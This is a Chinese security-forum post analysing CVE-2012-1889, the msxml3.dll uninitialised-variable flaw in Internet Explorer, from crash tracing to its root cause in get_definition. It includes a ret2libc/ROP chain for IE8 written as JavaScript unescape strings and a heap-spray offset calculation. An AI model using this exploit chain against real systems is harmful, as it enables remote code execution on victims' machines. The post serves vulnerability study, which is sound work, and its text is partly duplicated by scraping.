首页
社区
课程
招聘
[原创][分享] CVE-2012-1889 暴雷漏洞详细分析(偏向成因)
发表于: 2020-11-24 09:40 3975

[原创][分享] CVE-2012-1889 暴雷漏洞详细分析(偏向成因)

2020-11-24 09:40
3975

CVE-2012-1889 暴雷漏洞分析报告

还是参考了不少资料的。底部会附上一些连接。
POC用的是15pb老师给的,有一说一javascript学的太差,那段时间请假了日
可能也有很多地方说的不对,还请谅解。

在IDA中 定位 get_definition后,发现其参数有两个,this指针**IXMLDOMNode这个是符号给的类型,应该不会错image-20201123153255031

返回值应该仅仅是个bool。

再回到invokeHelper中查看对其参数和返回值的处理image-20201123153448227

再回到get_definitionimage-20201123153957348

而函数返回后,则正是调用a2指向的内容,可是在一定情况下a2并未初始化image-20201123154322150

==这应该就是漏洞产生的原因,查看一下主机W10里的msxml3.dll,应该已经对此处进行了修复==image-20201123154452040

利用上实际上分为IE6/IE8 区别在于是否有DEP和随即基址的存在。

这里就直接写IE8的了,理论上在IE6也能用

并且精准堆喷的计算方式,构造方式实际上都已经有很明确的公式和示例代码,这里就不多赘述了。

附上部分参考链接:
c++ - 正确的VARIANT初始化 - IT工具网 (coder.work)
VariantInit function (oleauto.h) - Win32 apps | Microsoft Docs
nameProp property (Internet Explorer) | Microsoft Docs)
[XMLDOMNode.definition - msdn]======
这url里带括号就不做成超链接了,手动复制一下吧
https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms764733(v=vs.85)
主要思路和流程是从这个链接来的,感谢大佬nEINEI的分享。
如果不看其他的参考,完全想不到有个函数叫get_definition……
另外大佬的文章中上来就提到了临时变量未初始化,虽然整个自己分析完的确是一个临时变量导致的,但是完全没分析过的话还是一头雾水。

 
//构造出来的ret2libc
var cRet2Libc = unescape(
     "\u0c0c\u0c0c" +
     "\uA686\u7470" + //ret
     "\u7599\u775D" + //pop esi ,ret
     "\u5789\u775A" + //xchg eax,esp
     "\uA686\u7470" + //ret
     "\uA686\u7470" + //ret
     "\uA686\u7470" + //ret
     "\uA686\u7470" + //ret
     "\u2347\u75EC" + //vritualProtect
     "\u0C40\u0C0C" + //address
     "\u0C40\u0C0C" + //address
     "\u1000\u0000" + //size
     "\u0040\u0000" + //new
     "\uEFFC\u77C2" );
//构造出来的ret2libc
var cRet2Libc = unescape(
     "\u0c0c\u0c0c" +
     "\uA686\u7470" + //ret
     "\u7599\u775D" + //pop esi ,ret
     "\u5789\u775A" + //xchg eax,esp
     "\uA686\u7470" + //ret
     "\uA686\u7470" + //ret
     "\uA686\u7470" + //ret
     "\uA686\u7470" + //ret
     "\u2347\u75EC" + //vritualProtect
     "\u0C40\u0C0C" + //address
     "\u0C40\u0C0C" + //address
     "\u1000\u0000" + //size
     "\u0040\u0000" + //new
     "\uEFFC\u77C2" );

还是参考了不少资料的。底部会附上一些连接。
POC用的是15pb老师给的,有一说一javascript学的太差,那段时间请假了日
可能也有很多地方说的不对,还请谅解。

利用上实际上分为IE6/IE8 区别在于是否有DEP和随即基址的存在。

这里就直接写IE8的了,理论上在IE6也能用

并且精准堆喷的计算方式,构造方式实际上都已经有很明确的公式和示例代码,这里就不多赘述了。

附上部分参考链接:
c++ - 正确的VARIANT初始化 - IT工具网 (coder.work)
VariantInit function (oleauto.h) - Win32 apps | Microsoft Docs
nameProp property (Internet Explorer) | Microsoft Docs)
[XMLDOMNode.definition - msdn]======
这url里带括号就不做成超链接了,手动复制一下吧
https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms764733(v=vs.85)
主要思路和流程是从这个链接来的,感谢大佬nEINEI的分享。
如果不看其他的参考,完全想不到有个函数叫get_definition……
另外大佬的文章中上来就提到了临时变量未初始化,虽然整个自己分析完的确是一个临时变量导致的,但是完全没分析过的话还是一头雾水。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//构造出来的ret2libc
var cRet2Libc = unescape(
     "\u0c0c\u0c0c" +
     "\uA686\u7470" + //ret
     "\u7599\u775D" + //pop esi ,ret
     "\u5789\u775A" + //xchg eax,esp
     "\uA686\u7470" + //ret
     "\uA686\u7470" + //ret
     "\uA686\u7470" + //ret
     "\uA686\u7470" + //ret
     "\u2347\u75EC" + //vritualProtect
     "\u0C40\u0C0C" + //address
     "\u0C40\u0C0C" + //address
     "\u1000\u0000" + //size
     "\u0040\u0000" + //new
     "\uEFFC\u77C2" );
  • 依照流程,我们先来引发崩溃。image-20201123141448480
    • 现场位于 msxml3.dll
    • 报错语句为call [ecx+0x18],而ecx00000000
    • ecx来源于[eax]
    • eax来源于[ebp-0x14]
    • 而栈内[ebp-0x14]0c0c0c0c这是我们之前填充的img.srcimage-20201123144057057
  • 在IDA里找一下崩溃现场image-20201123150023217
    • 可以看到对应地址位于InvokeHelper中,应该是用于调用对应C++类对象的属性或者方法的。
    • 开头是个FindIndex应该用于获取对应的属性或者方法
    • 之后VariantInit查了一下主要用于对变体进行初始化,==但是仅仅是将变体解释设置为VT_EMPTY并不会对关联的值进行归零==
    • 接下去 call 了三个函数,第二个+ 0x18的应该是崩溃现场的EIP
    • 而前面一个+8,对应POC结尾的obj15PB.definition(0);查了一下资料应该是对应的C++类内函数get_definition
  • 现场位于 msxml3.dll
  • 报错语句为call [ecx+0x18],而ecx00000000
  • ecx来源于[eax]
  • eax来源于[ebp-0x14]
  • 而栈内[ebp-0x14]0c0c0c0c这是我们之前填充的img.srcimage-20201123144057057
  • 可以看到对应地址位于InvokeHelper中,应该是用于调用对应C++类对象的属性或者方法的。
  • 开头是个FindIndex应该用于获取对应的属性或者方法
  • 之后VariantInit查了一下主要用于对变体进行初始化,==但是仅仅是将变体解释设置为VT_EMPTY并不会对关联的值进行归零==
  • 接下去 call 了三个函数,第二个+ 0x18的应该是崩溃现场的EIP
  • 而前面一个+8,对应POC结尾的obj15PB.definition(0);查了一下资料应该是对应的C++类内函数get_definition
  • 先去动态调试确认一下是否是get_definition,IDA中找到get_definition的相对偏移地址image-202011231507538940x72861
  • 在调试器中下dll断点msxml3.dllimage-20201123150916960
  • 断下来后取一下加载基址image-202011231510257710x695D0000 计算得到
    • invokeHelper地址为0x69601B85
    • get_definition地址为0x69641861
    • 下断点
  • 发现第四次调用invokeHelper的时候在call [esi+0x20]的位置调用了get_definitionimage-20201123152149180
    • IDA中,[esi+0x20]的确是VariantInit下的一个函数image-20201123152256931
  • 至此可以确认,的确调用了get_definition函数,并且函数返回后就到了崩溃现场image-20201123152433535那么应该就是get_definition中出现或者导致的问题
  • invokeHelper地址为0x69601B85
  • get_definition地址为0x69641861
  • 下断点
  • IDA中,[esi+0x20]的确是VariantInit下的一个函数image-20201123152256931
  • 在IDA中 定位 get_definition后,发现其参数有两个,this指针**IXMLDOMNode这个是符号给的类型,应该不会错image-20201123153255031

  • 返回值应该仅仅是个bool。

  • 再回到invokeHelper中查看对其参数和返回值的处理image-20201123153448227

    • 虽然参数识别的不太对,但是可以看到只有一个&取地址的,可以判断应该是**IXMLDOMNode
    • 而接下来`处于崩溃EIP的,则正是调用了v19的偏移。
  • 再回到get_definitionimage-20201123153957348

    • 可以看到对a2的处理仅限于v5内容非空情况下存在
    • v5却决于getDefinition的函数返回值。
    • ==而如果v5为空,则并未处理a2==
  • 而函数返回后,则正是调用a2指向的内容,可是在一定情况下a2并未初始化image-20201123154322150

  • 虽然参数识别的不太对,但是可以看到只有一个&取地址的,可以判断应该是**IXMLDOMNode
  • 而接下来`处于崩溃EIP的,则正是调用了v19的偏移。
  • 可以看到对a2的处理仅限于v5内容非空情况下存在
  • v5却决于getDefinition的函数返回值。
  • ==而如果v5为空,则并未处理a2==
  • ==这应该就是漏洞产生的原因,查看一下主机W10里的msxml3.dll,应该已经对此处进行了修复==image-20201123154452040

    • 的确,在W10 的 msxml3.dll 的 get_definition中新增了对a2的处理。
  • 的确,在W10 的 msxml3.dll 的 get_definition中新增了对a2的处理。
  • 实际上就算没有初始化,应该现象是返回了一个无法确定的不安全数值,导致了后面对这个数值的使用和计算出现错误。
  • 但是这里是直接崩溃在了那里,查看POC可以看到image-20201123160549012
    • 先构造了一个很长的图片路径,之后用nameProp将路径作为局部变量出现在栈内
    • 之后调用了definition,注意是==调用==
    • definition实际上是个属性,是个类成员变量。通过get_definition的函数名我们也能推断。同时msdn上也有这方面的描述image-20201123160959134
  • 所以POC中的调用则正是导致了其,跳转到 栈内未初始化数据崩溃 的主要原因
  • 先构造了一个很长的图片路径,之后用nameProp将路径作为局部变量出现在栈内
  • 之后调用了definition,注意是==调用==
  • definition实际上是个属性,是个类成员变量。通过get_definition的函数名我们也能推断。同时msdn上也有这方面的描述image-20201123160959134
  • 因为IE8包含DEP所以为了保证之后计算精准堆喷的位置,先构造ret2libcimage-20201123201925385image-20201123202727053
    • 这里构造了两种,分别是EAX==0x0C0C0C0的时候和EAX == 0x0C0C0C08的时候。
    • 当然,EAX的值取决于我们nameProp的数据。
  • 这里构造了两种,分别是EAX==0x0C0C0C0的时候和EAX == 0x0C0C0C08的时候。
  • 当然,EAX的值取决于我们nameProp的数据。
  • 公式是这样的`((address - UserPtr)%0x1000/2-
    • 0x1000取余是为了避免地址不是在第一个内存分页上
    • /2是为了unicode
  • 先进行一下堆喷,保证喷到0c0c0c08,之后使用!heap -p -a 0x0c0c0c08查看一下UserPtr
    • 所以我们的偏移为((0x0c0c0c08-0x0c050020)%0x1000)/2=0x5F4image-20201123203950109
  • 0x1000取余是为了避免地址不是在第一个内存分页上
  • /2是为了unicode
  • 所以我们的偏移为((0x0c0c0c08-0x0c050020)%0x1000)/2=0x5F4image-20201123203950109
  • 但是这是W7上的,因为随即基址,所以并不稳定,xp上可以使用mona直接构造。
  • 漏洞成因

  • [招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

    最后于 2020-11-24 16:49 被Daek.OwO编辑 ,原因: 补一个msxml3.dll的符号,补一个definition的链接
    上传的附件:
    收藏
    免费 1
    支持
    分享
    最新回复 (1)
    雪    币: 19
    活跃值: (36)
    能力值: ( LV2,RANK:10 )
    在线值:
    发帖
    回帖
    粉丝
    2
    在三一米田大佬那缺少的对暴雷漏洞的成因分析在这写得很详细,这里的成因与三一米田大佬的漏洞利用相结合看让我收益颇丰,对暴雷漏洞有了更深的理解。
    2020-11-24 10:25
    1
    游客
    登录 | 注册 方可回帖
    返回
    //